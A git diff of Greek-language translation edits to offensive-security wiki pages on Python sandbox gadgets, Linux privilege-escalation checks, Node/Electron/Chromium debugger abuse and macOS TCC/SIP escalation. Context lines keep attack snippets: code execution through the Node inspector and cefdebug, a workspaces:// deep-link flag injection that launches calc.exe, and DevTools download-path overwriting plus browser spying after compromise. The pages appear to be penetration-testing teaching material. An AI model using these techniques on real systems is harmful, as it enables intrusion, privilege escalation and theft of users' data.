diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md
index 0c4c21094..7781b7995 100644
--- a/src/generic-methodologies-and-resources/python/README.md
+++ b/src/generic-methodologies-and-resources/python/README.md
@@ -6,7 +6,7 @@
- [**Pyscript hacking tricks**](pyscript.md)
- [**Python deserializations**](../../pentesting-web/deserialization/index.html#python)
-- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/)
+- [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/index.html)
- [**Basic python web requests syntax**](web-requests.md)
- [**Basic python syntax and libraries**](basic-python.md)
diff --git a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md
index a38afbb3c..c16ebef74 100644
--- a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md
+++ b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md
@@ -13,9 +13,9 @@
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
-Σε αυτή την περίπτωση, είναι δυνατό να αποκτήσετε πρόσβαση σε αυτό το αντικείμενο απλά χρησιμοποιώντας οποιοδήποτε gadget για **να αποκτήσετε πρόσβαση σε παγκόσμια αντικείμενα** από τη σελίδα [**Bypass Python sandboxes**](bypass-python-sandboxes/).
+Σε αυτή την περίπτωση, είναι δυνατόν να αποκτήσετε πρόσβαση σε αυτό το αντικείμενο απλά χρησιμοποιώντας οποιοδήποτε gadget για **να αποκτήσετε πρόσβαση σε παγκόσμια αντικείμενα** από τη σελίδα [**Bypass Python sandboxes**](bypass-python-sandboxes/index.html).
-Στην περίπτωση όπου **η ευπάθεια είναι σε διαφορετικό αρχείο python**, χρειάζεστε ένα gadget για να διασχίσετε τα αρχεία ώστε να φτάσετε στο κύριο για **να αποκτήσετε πρόσβαση στο παγκόσμιο αντικείμενο `app.secret_key`** για να αλλάξετε το μυστικό κλειδί του Flask και να μπορείτε να [**κλιμακώσετε δικαιώματα** γνωρίζοντας αυτό το κλειδί](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
+Στην περίπτωση όπου **η ευπάθεια είναι σε διαφορετικό αρχείο python**, χρειάζεστε ένα gadget για να διασχίσετε τα αρχεία ώστε να φτάσετε στο κύριο για **να αποκτήσετε πρόσβαση στο παγκόσμιο αντικείμενο `app.secret_key`** για να αλλάξετε το μυστικό κλειδί του Flask και να μπορείτε να [**κλιμακώσετε προνόμια** γνωρίζοντας αυτό το κλειδί](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
Ένα payload όπως αυτό [από αυτή την αναφορά](https://ctftime.org/writeup/36082):
```python
diff --git a/src/linux-hardening/linux-privilege-escalation-checklist.md b/src/linux-hardening/linux-privilege-escalation-checklist.md
index e8b7fed5b..30f4ee0f2 100644
--- a/src/linux-hardening/linux-privilege-escalation-checklist.md
+++ b/src/linux-hardening/linux-privilege-escalation-checklist.md
@@ -8,12 +8,12 @@
- [ ] Λάβετε **πληροφορίες OS**
- [ ] Ελέγξτε το [**PATH**](privilege-escalation/index.html#path), υπάρχει **γραμμή που μπορεί να γραφτεί**;
-- [ ] Ελέγξτε τις [**μεταβλητές περιβάλλοντος**](privilege-escalation/index.html#env-info), υπάρχει κάποια ευαίσθητη λεπτομέρεια;
+- [ ] Ελέγξτε [**μεταβλητές περιβάλλοντος**](privilege-escalation/index.html#env-info), υπάρχει κάποια ευαίσθητη λεπτομέρεια;
- [ ] Αναζητήστε [**εκμεταλλεύσεις πυρήνα**](privilege-escalation/index.html#kernel-exploits) **χρησιμοποιώντας σενάρια** (DirtyCow;)
- [ ] **Ελέγξτε** αν η [**έκδοση sudo** είναι ευάλωτη](privilege-escalation/index.html#sudo-version)
-- [ ] [**Η υπογραφή Dmesg** απέτυχε](privilege-escalation/index.html#dmesg-signature-verification-failed)
+- [ ] [**Η επαλήθευση υπογραφής Dmesg** απέτυχε](privilege-escalation/index.html#dmesg-signature-verification-failed)
- [ ] Περισσότερη αναγνώριση συστήματος ([ημερομηνία, στατιστικά συστήματος, πληροφορίες CPU, εκτυπωτές](privilege-escalation/index.html#more-system-enumeration))
-- [ ] [Αναγνωρίστε περισσότερες άμυνες](privilege-escalation/index.html#enumerate-possible-defenses)
+- [ ] [**Αναγνωρίστε περισσότερες άμυνες**](privilege-escalation/index.html#enumerate-possible-defenses)
### [Δίσκοι](privilege-escalation/index.html#drives)
@@ -28,11 +28,11 @@
### [Διεργασίες](privilege-escalation/index.html#processes)
-- [ ] Υπάρχει κάποιο **άγνωστο λογισμικό που εκτελείται**;
-- [ ] Υπάρχει κάποιο λογισμικό που εκτελείται με **περισσότερα δικαιώματα από ό,τι θα έπρεπε**;
-- [ ] Αναζητήστε **εκμεταλλεύσεις εκτελούμενων διεργασιών** (ιδιαίτερα την έκδοση που εκτελείται).
-- [ ] Μπορείτε να **τροποποιήσετε το δυαδικό** οποιασδήποτε εκτελούμενης διεργασίας;
-- [ ] **Παρακολουθήστε τις διεργασίες** και ελέγξτε αν κάποια ενδιαφέρουσα διεργασία εκτελείται συχνά.
+- [ ] Τρέχει κάποιο **άγνωστο λογισμικό**;
+- [ ] Τρέχει κάποιο λογισμικό με **περισσότερα δικαιώματα από όσα θα έπρεπε**;
+- [ ] Αναζητήστε **εκμεταλλεύσεις τρεχουσών διεργασιών** (ιδιαίτερα την έκδοση που τρέχει).
+- [ ] Μπορείτε να **τροποποιήσετε το δυαδικό** οποιασδήποτε τρέχουσας διεργασίας;
+- [ ] **Παρακολουθήστε διεργασίες** και ελέγξτε αν τρέχει κάποια ενδιαφέρουσα διεργασία συχνά.
- [ ] Μπορείτε να **διαβάσετε** κάποια ενδιαφέρουσα **μνήμη διεργασίας** (όπου θα μπορούσαν να αποθηκευτούν κωδικοί);
### [Προγραμματισμένα/Δουλειές Cron;](privilege-escalation/index.html#scheduled-jobs)
@@ -46,17 +46,17 @@
- [ ] Κάποιο **γραμμένο αρχείο .service**;
- [ ] Κάποιο **γραμμένο δυαδικό** που εκτελείται από μια **υπηρεσία**;
-- [ ] Κάποιο **γραμμένο φάκελο στο PATH του systemd**;
+- [ ] Κάποιος **γραμμένος φάκελος στο PATH του systemd**;
### [Χρονοδιακόπτες](privilege-escalation/index.html#timers)
-- [ ] Κάποιο **γραμμένο χρονοδιακόπτη**;
+- [ ] Κάποιος **γραμμένος χρονοδιακόπτης**;
### [Υποδοχές](privilege-escalation/index.html#sockets)
- [ ] Κάποιο **γραμμένο αρχείο .socket**;
- [ ] Μπορείτε να **επικοινωνήσετε με κάποια υποδοχή**;
-- [ ] **Υποδοχές HTTP** με ενδιαφέρουσες πληροφορίες;
+- [ ] **HTTP sockets** με ενδιαφέρουσες πληροφορίες;
### [D-Bus](privilege-escalation/index.html#d-bus)
@@ -72,24 +72,24 @@
- [ ] Γενική **αναγνώριση χρηστών/ομάδων**
- [ ] Έχετε **πολύ μεγάλο UID**; Είναι η **μηχανή** **ευάλωτη**;
-- [ ] Μπορείτε να [**ανυψώσετε δικαιώματα χάρη σε μια ομάδα**](privilege-escalation/interesting-groups-linux-pe/) στην οποία ανήκετε;
+- [ ] Μπορείτε να [**ανυψώσετε δικαιώματα χάρη σε μια ομάδα**](privilege-escalation/interesting-groups-linux-pe/index.html) στην οποία ανήκετε;
- [ ] Δεδομένα **Clipboard**;
- [ ] Πολιτική Κωδικών;
- [ ] Δοκιμάστε να **χρησιμοποιήσετε** κάθε **γνωστό κωδικό** που έχετε ανακαλύψει προηγουμένως για να συνδεθείτε **με κάθε** δυνατό **χρήστη**. Δοκιμάστε να συνδεθείτε επίσης χωρίς κωδικό.
### [Γραμμένο PATH](privilege-escalation/index.html#writable-path-abuses)
-- [ ] Αν έχετε **δικαιώματα εγγραφής σε κάποιο φάκελο στο PATH** μπορεί να είστε σε θέση να ανυψώσετε δικαιώματα
+- [ ] Αν έχετε **δικαιώματα εγγραφής σε κάποιο φάκελο στο PATH** μπορεί να μπορείτε να ανυψώσετε δικαιώματα
### [Εντολές SUDO και SUID](privilege-escalation/index.html#sudo-and-suid)
- [ ] Μπορείτε να εκτελέσετε **οποιαδήποτε εντολή με sudo**; Μπορείτε να το χρησιμοποιήσετε για να ΔΙΑΒΑΣΕΤΕ, ΓΡΑΨΕΤΕ ή ΕΚΤΕΛΕΣΕΤΕ οτιδήποτε ως root; ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Υπάρχει κάποιο **εκμεταλλεύσιμο SUID δυαδικό**; ([**GTFOBins**](https://gtfobins.github.io))
- [ ] Είναι οι [**εντολές sudo** **περιορισμένες** από **path**; μπορείτε να **παρακάμψετε** τους περιορισμούς](privilege-escalation/index.html#sudo-execution-bypassing-paths);
-- [ ] [**Δυαδικό Sudo/SUID χωρίς καθορισμένο path**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path);
-- [ ] [**Δυαδικό SUID καθορίζοντας path**](privilege-escalation/index.html#suid-binary-with-command-path); Παράκαμψη
+- [ ] [**Sudo/SUID δυαδικό χωρίς καθορισμένο path**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path);
+- [ ] [**SUID δυαδικό που καθορίζει path**](privilege-escalation/index.html#suid-binary-with-command-path); Παράκαμψη
- [ ] [**LD_PRELOAD vuln**](privilege-escalation/index.html#ld_preload)
-- [ ] [**Έλλειψη βιβλιοθήκης .so σε SUID δυαδικό**](privilege-escalation/index.html#suid-binary-so-injection) από έναν γραμμένο φάκελο;
+- [ ] [**Έλλειψη .so βιβλιοθήκης σε SUID δυαδικό**](privilege-escalation/index.html#suid-binary-so-injection) από έναν γραμμένο φάκελο;
- [ ] [**Διαθέσιμα SUDO tokens**](privilege-escalation/index.html#reusing-sudo-tokens); [**Μπορείτε να δημιουργήσετε ένα SUDO token**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than);
- [ ] Μπορείτε να [**διαβάσετε ή να τροποποιήσετε τα αρχεία sudoers**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d);
- [ ] Μπορείτε να [**τροποποιήσετε το /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d);
@@ -111,7 +111,7 @@
### [SSH](privilege-escalation/index.html#ssh)
- [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/index.html#debian-openssl-predictable-prng-cve-2008-0166)
-- [ ] [**Ενδιαφέροντα διαρθρωτικά στοιχεία SSH**](privilege-escalation/index.html#ssh-interesting-configuration-values)
+- [ ] [**Ενδιαφέροντα τιμές ρυθμίσεων SSH**](privilege-escalation/index.html#ssh-interesting-configuration-values)
### [Ενδιαφέροντα Αρχεία](privilege-escalation/index.html#interesting-files)
diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md
index 3c22254a3..6b347aa9a 100644
--- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md
+++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md
@@ -22,27 +22,27 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
```
-Όταν ξεκινάτε μια διαδικασία που επιθεωρείται, κάτι τέτοιο θα εμφανιστεί:
+Όταν ξεκινάτε μια διαδικασία επιθεώρησης, κάτι τέτοιο θα εμφανιστεί:
```
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector
```
-Διεργασίες που βασίζονται στο **CEF** (**Chromium Embedded Framework**) χρειάζονται να χρησιμοποιήσουν την παράμετρο: `--remote-debugging-port=9222` για να ανοίξουν τον **debugger** (οι προστασίες SSRF παραμένουν πολύ παρόμοιες). Ωστόσο, **αντί** να παραχωρήσουν μια συνεδρία **debug** **NodeJS**, θα επικοινωνήσουν με τον περιηγητή χρησιμοποιώντας το [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), αυτή είναι μια διεπαφή για τον έλεγχο του περιηγητή, αλλά δεν υπάρχει άμεσο RCE.
+Διεργασίες που βασίζονται στο **CEF** (**Chromium Embedded Framework**) χρειάζονται να χρησιμοποιούν την παράμετρο: `--remote-debugging-port=9222` για να ανοίξουν τον **debugger** (οι προστασίες SSRF παραμένουν πολύ παρόμοιες). Ωστόσο, **αντί** να παραχωρούν μια συνεδρία **debug** **NodeJS**, θα επικοινωνούν με τον περιηγητή χρησιμοποιώντας το [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), αυτή είναι μια διεπαφή για τον έλεγχο του περιηγητή, αλλά δεν υπάρχει άμεσο RCE.
-Όταν ξεκινάτε έναν περιηγητή σε κατάσταση αποσφαλμάτωσης, κάτι τέτοιο θα εμφανιστεί:
+Όταν ξεκινάτε έναν περιηγητή με debugging, κάτι τέτοιο θα εμφανιστεί:
```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
```
-### Browsers, WebSockets και πολιτική ίδιου προέλευσης
+### Browsers, WebSockets and same-origin policy
-Οι ιστότοποι που ανοίγουν σε έναν web-browser μπορούν να κάνουν WebSocket και HTTP αιτήματα σύμφωνα με το μοντέλο ασφάλειας του browser. Μια **αρχική σύνδεση HTTP** είναι απαραίτητη για να **αποκτηθεί ένα μοναδικό id συνεδρίας debugger**. Η **πολιτική ίδιου προέλευσης** **αποτρέπει** τους ιστότοπους από το να μπορούν να κάνουν **αυτή τη σύνδεση HTTP**. Για επιπλέον ασφάλεια κατά των [**επιθέσεων DNS rebinding**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** το Node.js επαληθεύει ότι οι **κεφαλίδες 'Host'** για τη σύνδεση είτε καθορίζουν μια **διεύθυνση IP** είτε **`localhost`** ή **`localhost6`** ακριβώς.
+Οι ιστότοποι που ανοίγουν σε έναν web-browser μπορούν να κάνουν WebSocket και HTTP αιτήματα σύμφωνα με το μοντέλο ασφάλειας του browser. Μια **αρχική σύνδεση HTTP** είναι απαραίτητη για να **αποκτηθεί ένα μοναδικό id συνεδρίας debugger**. Η **πολιτική same-origin** **αποτρέπει** τους ιστότοπους από το να μπορούν να κάνουν **αυτή τη σύνδεση HTTP**. Για επιπλέον ασφάλεια κατά των [**επιθέσεων DNS rebinding**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** το Node.js επαληθεύει ότι οι **κεφαλίδες 'Host'** για τη σύνδεση είτε καθορίζουν μια **διεύθυνση IP** είτε **`localhost`** ή **`localhost6`** ακριβώς.
> [!NOTE]
-> Αυτά τα **μέτρα ασφαλείας αποτρέπουν την εκμετάλλευση του inspector** για να εκτελούνται κώδικες απλά στέλνοντας ένα HTTP αίτημα (το οποίο θα μπορούσε να γίνει εκμεταλλευόμενοι μια ευπάθεια SSRF).
+> Αυτά τα **μέτρα ασφαλείας αποτρέπουν την εκμετάλλευση του inspector** για να εκτελούνται κώδικες απλά στέλνοντας ένα HTTP αίτημα (το οποίο θα μπορούσε να γίνει εκμεταλλευόμενο μια ευπάθεια SSRF).
-### Ξεκινώντας τον inspector σε τρέχουσες διαδικασίες
+### Starting inspector in running processes
-Μπορείτε να στείλετε το **σήμα SIGUSR1** σε μια τρέχουσα διαδικασία nodejs για να **ξεκινήσει τον inspector** στην προεπιλεγμένη θύρα. Ωστόσο, σημειώστε ότι χρειάζεστε αρκετά δικαιώματα, οπότε αυτό μπορεί να σας δώσει **προνομιακή πρόσβαση σε πληροφορίες μέσα στη διαδικασία** αλλά όχι άμεση κλιμάκωση δικαιωμάτων.
+Μπορείτε να στείλετε το **σήμα SIGUSR1** σε μια τρέχουσα διαδικασία nodejs για να **ξεκινήσει τον inspector** στην προεπιλεγμένη θύρα. Ωστόσο, σημειώστε ότι πρέπει να έχετε αρκετά δικαιώματα, οπότε αυτό μπορεί να σας δώσει **προνομιακή πρόσβαση σε πληροφορίες μέσα στη διαδικασία** αλλά όχι άμεση κλιμάκωση δικαιωμάτων.
```bash
kill -s SIGUSR1
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@@ -52,7 +52,7 @@ kill -s SIGUSR1
### Σύνδεση με τον επιθεωρητή/αποσφαλματωτή
-Για να συνδεθείτε με έναν **πλοηγό βασισμένο σε Chromium**, μπορείτε να αποκτήσετε πρόσβαση στις διευθύνσεις URL `chrome://inspect` ή `edge://inspect` για το Chrome ή το Edge, αντίστοιχα. Κάνοντας κλικ στο κουμπί Ρύθμιση, θα πρέπει να διασφαλιστεί ότι ο **στόχος και η θύρα** είναι σωστά καταχωρημένα. Η εικόνα δείχνει ένα παράδειγμα Remote Code Execution (RCE):
+Για να συνδεθείτε με έναν **πλοηγό βασισμένο σε Chromium**, μπορείτε να αποκτήσετε πρόσβαση στα URLs `chrome://inspect` ή `edge://inspect` για Chrome ή Edge, αντίστοιχα. Κάνοντας κλικ στο κουμπί Ρύθμιση, θα πρέπει να διασφαλιστεί ότι ο **στόχος και η θύρα** είναι σωστά καταχωρημένα. Η εικόνα δείχνει ένα παράδειγμα Remote Code Execution (RCE):
.png>)
@@ -73,12 +73,12 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
```
> [!NOTE]
-> Σημειώστε ότι **οι εκμεταλλεύσεις RCE του NodeJS δεν θα λειτουργήσουν** αν συνδεθείτε σε έναν περιηγητή μέσω του [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (πρέπει να ελέγξετε το API για να βρείτε ενδιαφέροντα πράγματα να κάνετε με αυτό).
+> Σημειώστε ότι οι **εκμεταλλεύσεις RCE του NodeJS δεν θα λειτουργήσουν** αν συνδεθείτε σε έναν περιηγητή μέσω του [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (πρέπει να ελέγξετε το API για να βρείτε ενδιαφέροντα πράγματα να κάνετε με αυτό).
## RCE στον Debugger/Inspector του NodeJS
> [!NOTE]
-> Αν ήρθατε εδώ ψάχνοντας πώς να αποκτήσετε [**RCE από μια XSS σε Electron παρακαλώ ελέγξτε αυτή τη σελίδα.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
+> Αν ήρθατε εδώ ψάχνοντας πώς να αποκτήσετε [**RCE από μια XSS σε Electron παρακαλώ ελέγξτε αυτή τη σελίδα.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
Ορισμένοι κοινοί τρόποι για να αποκτήσετε **RCE** όταν μπορείτε να **συνδεθείτε** σε έναν **inspector** του Node είναι η χρήση κάποιου όπως (φαίνεται ότι αυτό **δεν θα λειτουργήσει σε σύνδεση με το Chrome DevTools protocol**):
```javascript
@@ -90,11 +90,11 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
## Chrome DevTools Protocol Payloads
Μπορείτε να ελέγξετε το API εδώ: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
-Σε αυτή την ενότητα θα παραθέσω μόνο ενδιαφέροντα πράγματα που έχω βρει ότι οι άνθρωποι έχουν χρησιμοποιήσει για να εκμεταλλευτούν αυτό το πρωτόκολλο.
+Σε αυτή την ενότητα θα παραθέσω απλώς ενδιαφέροντα πράγματα που έχω βρει ότι έχουν χρησιμοποιήσει οι άνθρωποι για να εκμεταλλευτούν αυτό το πρωτόκολλο.
### Parameter Injection via Deep Links
-Στο [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) η Rhino security ανακάλυψε ότι μια εφαρμογή βασισμένη σε CEF **καταχώρησε μια προσαρμοσμένη UR**I στο σύστημα (workspaces://) που έλαβε το πλήρες URI και στη συνέχεια **εκκίνησε την εφαρμογή βασισμένη σε CEF** με μια ρύθμιση που κατασκευαζόταν εν μέρει από αυτό το URI.
+Στο [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) η Rhino security ανακάλυψε ότι μια εφαρμογή βασισμένη σε CEF **καταχώρησε μια προσαρμοσμένη UR**I στο σύστημα (workspaces://index.html) που έλαβε την πλήρη URI και στη συνέχεια **εκκίνησε την εφαρμογή βασισμένη σε CEF** με μια ρύθμιση που κατασκευαζόταν εν μέρει από αυτή την URI.
Ανακαλύφθηκε ότι οι παράμετροι URI αποκωδικοποιούνταν URL και χρησιμοποιούνταν για να εκκινήσουν την βασική εφαρμογή CEF, επιτρέποντας σε έναν χρήστη να **εισάγει** τη σημαία **`--gpu-launcher`** στη **γραμμή εντολών** και να εκτελέσει αυθαίρετα πράγματα.
@@ -104,7 +104,7 @@ workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
```
Θα εκτελέσει ένα calc.exe.
-### Επικαλύψεις Αρχείων
+### Εγγραφή Αρχείων
Αλλάξτε τον φάκελο όπου **θα αποθηκευτούν τα κατεβασμένα αρχεία** και κατεβάστε ένα αρχείο για να **επικαλύψετε** τον συχνά χρησιμοποιούμενο **κώδικα πηγής** της εφαρμογής με τον **κακόβουλο κώδικά** σας.
```javascript
@@ -122,11 +122,11 @@ downloadPath: "/code/",
```
### Webdriver RCE και εξαγωγή
-Σύμφωνα με αυτή την ανάρτηση: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) είναι δυνατόν να αποκτηθεί RCE και να εξαχθούν εσωτερικές σελίδες από theriver.
+Σύμφωνα με αυτή την ανάρτηση: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) είναι δυνατόν να αποκτηθεί RCE και να εξαχθούν εσωτερικές σελίδες από το theriver.
### Μετά την εκμετάλλευση
-Σε ένα πραγματικό περιβάλλον και **μετά την παραβίαση** ενός υπολογιστή χρήστη που χρησιμοποιεί πρόγραμμα περιήγησης βασισμένο σε Chrome/Chromium, θα μπορούσατε να εκκινήσετε μια διαδικασία Chrome με **την αποσφαλμάτωση ενεργοποιημένη και να προωθήσετε την θύρα αποσφαλμάτωσης** ώστε να μπορείτε να την αποκτήσετε. Με αυτόν τον τρόπο θα είστε σε θέση να **εξετάσετε τα πάντα που κάνει το θύμα με το Chrome και να κλέψετε ευαίσθητες πληροφορίες**.
+Σε ένα πραγματικό περιβάλλον και **μετά την παραβίαση** ενός υπολογιστή χρήστη που χρησιμοποιεί πρόγραμμα περιήγησης βασισμένο σε Chrome/Chromium, θα μπορούσατε να εκκινήσετε μια διαδικασία Chrome με **την αποσφαλμάτωση ενεργοποιημένη και να προωθήσετε την θύρα αποσφαλμάτωσης** ώστε να μπορείτε να έχετε πρόσβαση σε αυτήν. Με αυτόν τον τρόπο θα είστε σε θέση να **εξετάσετε τα πάντα που κάνει το θύμα με το Chrome και να κλέψετε ευαίσθητες πληροφορίες**.
Ο κρυφός τρόπος είναι να **τερματίσετε κάθε διαδικασία Chrome** και στη συνέχεια να καλέσετε κάτι σαν
```bash
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md
index 83a1ae026..763a6af64 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md
@@ -69,11 +69,11 @@ macos-security-protections/
- Το αρχείο που χρησιμοποιήθηκε είχε ήδη δημιουργηθεί από έναν χρήστη (ανήκει στον χρήστη)
- Το αρχείο που χρησιμοποιήθηκε είναι εγγράψιμο από τον χρήστη λόγω ομάδας
- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον χρήστη (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
-- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στο root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
+- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
-Η δυνατότητα **δημιουργίας ενός αρχείου** που θα χρησιμοποιηθεί από το **root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμη και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία.
+Η δυνατότητα **δημιουργίας ενός αρχείου** που θα **χρησιμοποιηθεί από τον root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμα και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία.
-Για αυτούς τους τύπους ευπαθειών μην ξεχάσετε να **ελέγξετε ευάλωτους εγκαταστάτες `.pkg`**:
+Για αυτού του είδους τις ευπάθειες, μην ξεχάσετε να **ελέγξετε ευάλωτους `.pkg` εγκαταστάτες**:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
@@ -89,17 +89,17 @@ macos-file-extension-apps.md
## macOS TCC / SIP Privilege Escalation
-Στο macOS, οι **εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχες από άλλες.
+Στο macOS, **οι εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχους από άλλους.
-Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει επιτυχώς μια μηχανή macOS θα χρειαστεί να **αναβαθμίσει τα δικαιώματα TCC** (ή ακόμη και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του).
+Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει επιτυχώς μια μηχανή macOS θα χρειαστεί να **αναβαθμίσει τα δικαιώματα TCC** (ή ακόμα και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του).
-Αυτά τα δικαιώματα δίνονται συνήθως με τη μορφή **entitlements** με τις οποίες είναι υπογεγραμμένη η εφαρμογή, ή η εφαρμογή μπορεί να έχει ζητήσει κάποιες προσβάσεις και μετά την **έγκριση τους από τον χρήστη** μπορούν να βρεθούν στις **βάσεις δεδομένων TCC**. Ένας άλλος τρόπος με τον οποίο μια διαδικασία μπορεί να αποκτήσει αυτά τα δικαιώματα είναι να είναι **παιδί μιας διαδικασίας** με αυτά τα **δικαιώματα**, καθώς συνήθως **κληρονομούνται**.
+Αυτά τα δικαιώματα δίνονται συνήθως με τη μορφή **entitlements** με τα οποία είναι υπογεγραμμένη η εφαρμογή, ή η εφαρμογή μπορεί να έχει ζητήσει κάποιες προσβάσεις και μετά την **έγκριση τους από τον χρήστη** μπορούν να βρεθούν στις **βάσεις δεδομένων TCC**. Ένας άλλος τρόπος με τον οποίο μια διαδικασία μπορεί να αποκτήσει αυτά τα δικαιώματα είναι να είναι **παιδί μιας διαδικασίας** με αυτά τα **δικαιώματα**, καθώς συνήθως **κληρονομούνται**.
-Ακολουθήστε αυτούς τους συνδέσμους για να βρείτε διαφορετικούς τρόπους για να [**αναβαθμίσετε δικαιώματα στο TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), για να [**παρακάμψετε το TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) και πώς στο παρελθόν [**έχει παρακαμφθεί το SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
+Ακολουθήστε αυτούς τους συνδέσμους για να βρείτε διαφορετικούς τρόπους για [**να αναβαθμίσετε δικαιώματα στο TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), για [**να παρακάμψετε το TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) και πώς στο παρελθόν [**έχει παρακαμφθεί το SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Traditional Privilege Escalation
-Φυσικά, από την προοπτική των κόκκινων ομάδων, θα πρέπει επίσης να ενδιαφέρεστε να αναβαθμίσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές συμβουλές:
+Φυσικά, από την προοπτική των κόκκινων ομάδων, θα πρέπει επίσης να ενδιαφέρεστε να αναβαθμίσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές υποδείξεις:
{{#ref}}
macos-privilege-escalation.md
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
index ef563f882..a634e2781 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
@@ -3,62 +3,62 @@
{{#include ../../../banners/hacktricks-training.md}}
> [!WARNING]
-> Σημειώστε ότι τα δικαιώματα που ξεκινούν με **`com.apple`** δεν είναι διαθέσιμα σε τρίτους, μόνο η Apple μπορεί να τα χορηγήσει.
